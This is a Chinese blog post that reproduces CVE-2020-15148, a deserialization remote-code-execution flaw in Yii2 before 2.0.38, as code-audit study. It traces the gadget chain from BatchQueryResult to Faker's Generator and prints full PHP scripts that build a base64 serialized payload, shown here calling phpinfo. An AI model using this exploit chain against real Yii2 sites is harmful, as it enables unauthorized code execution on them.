yii2框架 反序列化漏洞复现

前言跟着feng师傅再学习一下yii2的反序列化漏洞,提高代码审计能力漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in
摘要由CSDN通过智能技术生成

1. 前言

跟着feng师傅再学习一下yii2的反序列化漏洞,提高代码审计能力
feng师傅的连接
漏洞出现在yii2.0.38之前的版本中,在2.0.38进行了修复,CVE编号是CVE-2020-15148:

Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls unserialize() on arbitrary user input. This is fixed in version 2.0.38. A possible workaround without upgrading is available in the linked advisory.

至于环境的安装,直接从github上找yii2,下载下来2.0.37版本,然后修改config/web.php文件里cookieValidationKey的值,随便什么值都行。然后正常的部署一下就行了,就像thinkphp那样,根目录是/yii2/web。

1.1关于yii2 的一些访问的小知识:

根目录是

http://127.0.0.1/fuxian/yii2/web/index.php

或者

http://127.0.0.1/fuxian/yii2/web/

而后 用变量 r 来表示控制器和方法

http://127.0.0.1/fuxian/yii2/web/index.php?r=控制器/方法

注意格式:(多词汇组成的,每个单词首字母需大写)
控制器的格式 是 SampleController 。 后面的Controller是固定的。然后前面那一块是控制器的名字,输入的时候,小写就行。
里面的方法。格式是 actionTest 。 前面的action是固定的,后面的是名字,换成小写就好。

例子如下:
在这里插入图片描述
在这里插入图片描述

2. CVE-2020-15148复现

小前言:

感觉值得再过一遍,学到了好多好多知识。(可能是我真的太菜了。。。不会的太多了。所以觉得值得再过一遍…恶龙咆哮…)

这个反序列化的入口点是一个__destruct(),在BatchQueryResult类中

在这里插入图片描述
继续跟进一下reset():

在这里插入图片描述但是继续跟进close(),发现没有什么利用的办法,正常可能链就断了,但是大师傅们的思路就是不一样,这里的_dataReader是可控的,那么调用了close的方法,是不是可以想办法触发__call呢?(调用类中不存在的方法的时候就会调用 __call()方法了)

全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php找到了一个合适的__call方法:

在这里插入图片描述
因为上面的那个 close 是无参方法,所以传给 __call() 中的 $methodclose$attributes 为空。然后我们继续跟进format方法:

在这里插入图片描述传入的formatter是 close

好家伙,call_user_func_array 。 继续跟进一下 getFormatter.

    public function getFormatter($formatter)
    {
   
        if (isset($this->formatters[$formatter])) {
   
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
   
            if (method_exists($provider, $formatter)) {
   
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

里面的$this->formatter 是我们可控的。因此getFormatter 方法的返回值我们也是可以控制。因此call_user_func_array($this->getFormatter($formatter), $arguments );中,回调函数我们可控,但是$arguments 是一个空数组,所以相当于我们能够干两件事:

  1. 调用yii2中任意的一个无参方法,
  2. 或者调用原生php的类似phpinfo()这样的无参方法,

但是第二种肯定不能够RCE。因此,我们还要在yii2中已有的无参方法进行挖掘:

2.1 调用原生php的类似phpinfo()这样的无参方法 + 调试:

feng 师傅的重复调用两次call_user_func_array太强了,我反应不过来,就先调用个最简单来就行了。

其实不用这个多,不用带 函数方法的,就带上属性就行了。但是为了本地调试能够看出来对错,我便带上了整个调用链的调用函数链

<?php
namespace Faker
{
   
    class Generator
    {
   
        protected $formatters;
        public function __construct()
        {
   
            $this->formatters['close'] = "phpinfo"; # 调用单一原生函数,
        }

        public function __call($method, $attributes)
        {
   
            return $this->format($method, $attributes);
        }

        public function format($formatter, $arguments = array())
        {
   
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
   
            if (isset($this->formatters[$formatter])) {
   
                return $this->formatters[$formatter];
            }
            foreach ($this->providers as $provider) {
   
                if (method_exists($provider, $formatter)) {
   
                    $this->formatters[$formatter] = array($provider, $formatter);

                    return $this->formatters[$formatter];
                }
            }
            throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
        }

    }
}

namespace yii\db
{
   
    use Faker\Generator;

    class BatchQueryResult
    {
   
        private $_dataReader;
        public function __construct()
        {
   
            $this->_dataReader = new Generator();
        }

        public function reset()
        {
   
            if ($this->_dataReader !== null) {
   
                $this->_dataReader->close();
            }
            $this->_dataReader = null;
            $this->_batch = null;
            $this->_value = null;
            $this->_key = null;
        }
        
        public function __destruct()
        {
   
            // make sure cursor is closed
            $this->reset();
        }
    }
}
namespace
{
   
        use yii\db\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
}

正向来的,是能够出phpinfo的。是对的。
在这里插入图片描述
反向也可。
在这里插入图片描述

上面的就可以直接打了。其实精简的话,可以去掉除了__construct()之外的所有方法,
payload如下:

<?php

namespace Faker
{
   
    class Generator
    {
   
        protected $formatters;

        public function __construct()
        {
   
            $this->formatters['close'] = "phpinfo";
        }
    }
}

namespace yii\db
{
   
    use Faker\Generator;

    class BatchQueryResult
    {
   
        private $_dataReader;
        public function __construct()
        {
   
            $this->_dataReader = new Generator();
        }
    }
}

namespace
{
   
        use yii\db\BatchQueryResult;
        echo base64_encode(serialize(new BatchQueryResult()));
}

生成的payload是和上面的那个是一样的。
在这里插入图片描述

2.2 调用yii2中任意的一个无参方法

在yii2中找到一个无参方法:

function \w+\(\)

在这里插入图片描述

但是无参函数实在是太多了,一个一个挖起来实在费力。这里就是大师傅们的经验和智慧了,直接搜索含有 call_user_function的无参函数:

function \w+\(\) ?\n
  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值